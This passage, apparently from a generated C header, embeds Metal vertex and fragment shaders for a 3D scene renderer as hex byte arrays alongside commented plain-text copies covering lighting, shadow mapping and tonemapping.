0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,
0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,
0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,
0x69,0x6e,0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x69,0x6e,
0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x65,
0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,
0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_params
{
float4x4 uModelViewProjection;
float4x4 uModel;
float4x4 u_normal_matrix;
float4x4 u_depth_mvp;
};
struct main0_out
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 vColorOffset [[user(locn4)]];
float4 v_shadow_pos [[user(locn5)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
float2 aTexCoord [[attribute(2)]];
float4 aColorMult [[attribute(3)]];
float4 aColorOffset [[attribute(4)]];
};
#line 27 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_params& _16 [[buffer(0)]])
{
main0_out out = {};
#line 27 "src/ek/scenex/3d/render3d.glsl"
float4 _29 = float4(in.aPosition, 1.0);
out.vNormal = float3(normalize(_16.u_normal_matrix * _29).xyz);
#line 28 "src/ek/scenex/3d/render3d.glsl"
out.vFragPos = float3x3(_16.uModel[0].xyz, _16.uModel[1].xyz, _16.uModel[2].xyz) * in.aPosition;
#line 29 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aTexCoord;
#line 30 "src/ek/scenex/3d/render3d.glsl"
out.vColorMult = in.aColorMult;
#line 31 "src/ek/scenex/3d/render3d.glsl"
out.vColorOffset = in.aColorOffset;
#line 33 "src/ek/scenex/3d/render3d.glsl"
out.v_shadow_pos = _16.u_depth_mvp * _29;
#line 34 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _16.uModelViewProjection * _29;
return out;
}
*/
static const char vs_source_metal_macos[1574] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,
0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,
0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,
0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x5f,
0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,
0x72,0x28,0x6c,0x6f,0x63,0x6e,0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x34,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,
0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x32,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x28,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,
0x65,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x34,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x31,0x36,0x20,0x5b,0x5b,0x62,0x75,
0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,
0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x37,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x5f,0x31,
0x36,0x2e,0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,
0x78,0x20,0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x32,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x78,0x33,0x28,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x5b,
0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,
0x65,0x6c,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,
0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,
0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x31,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x5f,0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,
0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,
0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,
0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct material_params
{
float3 mat_ambient;
float3 mat_diffuse;
float3 mat_specular;
packed_float3 mat_emission;
float mat_shininess;
float mat_roughness;
};
struct fs_params
{
float4 u_time;
float4 u_resolution;
float3 uViewPos;
};
struct light_params
{
float3 light_position;
float3 light_ambient;
float3 light_diffuse;
float3 light_specular;
};
struct light2_params
{
packed_float3 light2_position;
float light2_radius;
packed_float3 light2_ambient;
float light2_falloff;
float3 light2_diffuse;
float3 light2_specular;
};
struct main0_out
{
float4 frag_color [[color(0)]];
};
struct main0_in
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 v_shadow_pos [[user(locn5)]];
};
#line 196 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float oren_nayar_diffuse(thread const float3& light_direction, thread const float3& view_direction, thread const float3& surface_normal, thread const float& roughness, thread const float& albedo)
{
#line 196 "src/ek/scenex/3d/render3d.glsl"
#line 197 "src/ek/scenex/3d/render3d.glsl"
float _219 = dot(light_direction, surface_normal);
#line 198 "src/ek/scenex/3d/render3d.glsl"
float _223 = dot(surface_normal, view_direction);
float _229 = dot(light_direction, view_direction) - (_219 * _223);
#line 203 "src/ek/scenex/3d/render3d.glsl"
float _240 = roughness * roughness;
#line 207 "src/ek/scenex/3d/render3d.glsl"
return ((albedo * fast::max(0.0, _219)) * ((1.0 + (_240 * ((albedo / (_240 + 0.12999999523162841796875)) + (0.5 / (_240 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _240) / (_240 + 0.0900000035762786865234375)) * _229) / mix(1.0, fast::max(_219, _223), step(0.0, _229))))) * 0.3183098733425140380859375;
}
#line 211 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float lambert_diffuse(thread const float3& light_direction, thread const float3& normal)
{
#line 211 "src/ek/scenex/3d/render3d.glsl"
return dot(normal, light_direction);
}
#line 56 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float decodeDepth(thread const float4& rgba)
{
#line 56 "src/ek/scenex/3d/render3d.glsl"
return dot(rgba, float4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
#line 165 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_shadow(float cos_theta, thread float4& v_shadow_pos, thread texture2d<float> u_image_shadow_map, thread const sampler u_image_shadow_mapSmplr)
{
#line 165 "src/ek/scenex/3d/render3d.glsl"
float3 _169 = v_shadow_pos.xyz / float3(v_shadow_pos.w);
float2 _179 = (_169.xy * 0.5) + float2(0.5);
float2 _476 = _179;
_476.y = 1.0 - _179.y;
#line 171 "src/ek/scenex/3d/render3d.glsl"
#line 191 "src/ek/scenex/3d/render3d.glsl"
float4 param = u_image_shadow_map.sample(u_image_shadow_mapSmplr, _476);
return step(decodeDepth(param), _169.z - (0.5 * fast::clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
#line 152 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_spec(thread const float3& light_dir, thread const float3& view_dir, thread const float3& normal, constant material_params& v_110)
{
#line 152 "src/ek/scenex/3d/render3d.glsl"
#line 153 "src/ek/scenex/3d/render3d.glsl"
return ((8.0 + v_110.mat_shininess) * 0.0397887341678142547607421875) * pow(fast::max(dot(normal, normalize(light_dir + view_dir)), 0.0), v_110.mat_shininess);
}
#line 135 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float attenuation_point(thread const float3& distance_by_radius, thread const float& falloff)
{
#line 135 "src/ek/scenex/3d/render3d.glsl"
return pow(1.0 - fast::min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
#line 64 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float luminance(thread const float3& linear)
{
#line 64 "src/ek/scenex/3d/render3d.glsl"
return dot(linear, float3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
#line 73 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 linear_to_gamma(thread const float3& x)
{
#line 73 "src/ek/scenex/3d/render3d.glsl"
return pow(x, float3(0.4545454680919647216796875));
}
#line 89 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 tonemap_reinhard(float3 x)
{
#line 89 "src/ek/scenex/3d/render3d.glsl"
float3 param = x;
float3 param_1 = x / float3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
#line 215 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], constant material_params& v_110 [[buffer(0)]], constant fs_params& _292 [[buffer(1)]], constant light_params& _328 [[buffer(2)]], constant light2_params& _387 [[buffer(3)]], texture2d<float> u_image_shadow_map [[texture(0)]], texture2d<float> uImage0 [[texture(1)]], sampler u_image_shadow_mapSmplr [[sampler(0)]], sampler uImage0Smplr [[sampler(1)]])
{
main0_out out = {};
#line 215 "src/ek/scenex/3d/render3d.glsl"
float3 _288 = normalize(in.vNormal);
#line 216 "src/ek/scenex/3d/render3d.glsl"
float3 _300 = normalize(_292.uViewPos - in.vFragPos);
#line 217 "src/ek/scenex/3d/render3d.glsl"
float3 total = float3(v_110.mat_emission);
#line 218 "src/ek/scenex/3d/render3d.glsl"
float4 _311 = uImage0.sample(uImage0Smplr, in.vTexCoord);
float4 _314 = _311 * in.vColorMult;
float3 _324 = float3(_314.xyz) * v_110.mat_diffuse;
#line 223 "src/ek/scenex/3d/render3d.glsl"
float3 param = _328.light_position;
float3 param_1 = _300;
float3 param_2 = _288;
float param_3 = 0.5;
float param_4 = 1.0;
float _339 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
#line 224 "src/ek/scenex/3d/render3d.glsl"
total += (v_110.mat_ambient * _328.light_ambient);
if (_339 > 0.0)
{
float3 param_5 = _328.light_position;
float3 param_6 = _288;
#line 227 "src/ek/scenex/3d/render3d.glsl"
float3 param_7 = _328.light_position;
float3 param_8 = _300;
float3 param_9 = _288;
total += ((((v_110.mat_specular * _328.light_specular) * calc_spec(param_7, param_8, param_9, v_110)) + ((_324 * _328.light_diffuse) * _339)) * (1.0 - calc_shadow(fast::clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0), in.v_shadow_pos, u_image_shadow_map, u_image_shadow_mapSmplr)));
}
#line 235 "src/ek/scenex/3d/render3d.glsl"
float3 _391 = float3(_387.light2_position) - in.vFragPos;
float3 _399 = _391 / float3(length(_391));
float3 param_10 = _399;
float3 param_11 = _300;
float3 param_12 = _288;
float param_13 = 0.5;
float param_14 = 1.0;
float _409 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (v_110.mat_ambient * float3(_387.light2_ambient));
if (_409 > 0.0)
{
float3 param_15 = _391 / float3(_387.light2_radius);
float param_16 = _387.light2_falloff;
float _431 = attenuation_point(param_15, param_16);
if (_431 > 0.0)
{
#line 246 "src/ek/scenex/3d/render3d.glsl"
#line 245 "src/ek/scenex/3d/render3d.glsl"
float3 param_17 = _399;
float3 param_18 = _300;
float3 param_19 = _288;
total += ((((v_110.mat_specular * _387.light2_specular) * calc_spec(param_17, param_18, param_19, v_110)) + ((_324 * _387.light2_diffuse) * _409)) * _431);
}
}
#line 252 "src/ek/scenex/3d/render3d.glsl"
float3 _462 = tonemap_reinhard(total);
total = _462;
out.frag_color = float4(_462, _314.w);
return out;
}
*/
static const char fs_source_metal_macos[8120] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,
0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,
0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,
0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x6d,0x61,0x74,0x5f,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x74,0x69,0x6d,0x65,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x75,0x5f,0x72,0x65,0x73,0x6f,
0x6c,0x75,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x75,0x56,0x69,0x65,0x77,0x50,0x6f,0x73,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,
